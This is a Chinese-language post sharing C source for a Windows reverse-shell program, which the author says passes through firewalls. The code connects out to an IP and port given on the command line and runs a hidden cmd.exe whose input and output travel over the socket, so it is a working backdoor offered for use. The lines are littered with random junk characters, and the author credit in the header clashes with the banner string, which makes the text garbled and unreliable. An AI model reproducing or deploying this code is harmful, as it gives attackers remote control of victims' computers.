这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w>S;}[fM
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/* ============================== 'vCl@x$
Rebound port in Windows NT = j)5kY`
By wind,2006/7 @-zL"%%dw'
===============================*/ N_L~oX_
#include _Fe%Ek1Yy
#include wB'GV1|jL
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#pragma comment(lib,"wsock32.lib") g&&-
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void OutputShell(); f(S9>c2
SOCKET sClient; 94.|l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y(mnGaVn
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void main(int argc,char **argv) 1egq:bh
{ (sDZ&R
WSADATA stWsaData; vd{ban9
int nRet; 'Hf+Y/`
SOCKADDR_IN stSaiClient,stSaiServer; <DR$WsDG
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if(argc != 3) ]Xm+-{5?!R
{ ExKyjWAJ
printf("Useage:\n\rRebound DestIP DestPort\n"); u0;k_6N
return; Nhf@Y}Cu
} ^ruz-N^Y!
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WSAStartup(MAKEWORD(2,2),&stWsaData); MZd?cS
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3le$0f:O
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stSaiClient.sin_family = AF_INET; '><I|c}
stSaiClient.sin_port = htons(0); k^@dDLr"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TGDrTyI?y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0?,<7}"<X
{ >BWe"{ ;
printf("Bind Socket Failed!\n"); #W9{3JGUY
return; !-HJ%(5:F
} "W^+NeLc
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stSaiServer.sin_family = AF_INET; 6c6w w"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LK|1[y^h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W:VX^8</
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kxCN0e#_
{ :@4+ }
printf("Connect Error!"); oL
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return; {%Rntb
} Cu!S|Xj.
OutputShell(); .^xQtnq
} laRn![[
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void OutputShell() a9_KoOa.H
{ uOAd$;h@_Z
char szBuff[1024]; ~KYA{^`*
SECURITY_ATTRIBUTES stSecurityAttributes; M 4E|^p=5
OSVERSIONINFO stOsversionInfo; De
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }ijFvIHV
STARTUPINFO stStartupInfo; rL,kDSLs
char *szShell; )mH(Hx
PROCESS_INFORMATION stProcessInformation; 'YB{W8bR
unsigned long lBytesRead; |R;`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8b"vXNB.f
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,`!>.E.
stSecurityAttributes.lpSecurityDescriptor = 0; \E1CQP-
stSecurityAttributes.bInheritHandle = TRUE; =F% <W7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KBDNK_7A
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &})Zqc3Lqk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q*<FfO=eQ
stStartupInfo.wShowWindow = SW_HIDE; e$`;z%6y
stStartupInfo.hStdInput = hReadPipe; $\#wsI(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =5O&4G`}
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GetVersionEx(&stOsversionInfo); *SYuq)
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switch(stOsversionInfo.dwPlatformId) 8dh ?JqX
{ UNA!vzOb
case 1:
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szShell = "command.com"; Y,m=&U
break; m~tv{#Y
default: 79uAsI2-Y
szShell = "cmd.exe"; ~zoZ{YqP
break; S;"$02]
} #Cb~-2:+7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r*c x_**
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send(sClient,szMsg,77,0); YRu/KUT$ 7
while(1) VVe^s|~Z
{ jA3xDbM
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MSb0J `
if(lBytesRead) WtlLqD!_D
{ ^YB3$:@$U
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )&[ol9+\
send(sClient,szBuff,lBytesRead,0); r.' cjUs
} o,qUf
else O{Z
bpa^
{ LYuMR,7E
lBytesRead=recv(sClient,szBuff,1024,0); _6`H`zept
if(lBytesRead<=0) break; +.a->SZ5"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *iUR1V Y
} ?s]?2>p
} ;y;UgwAM
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return; n[7=
}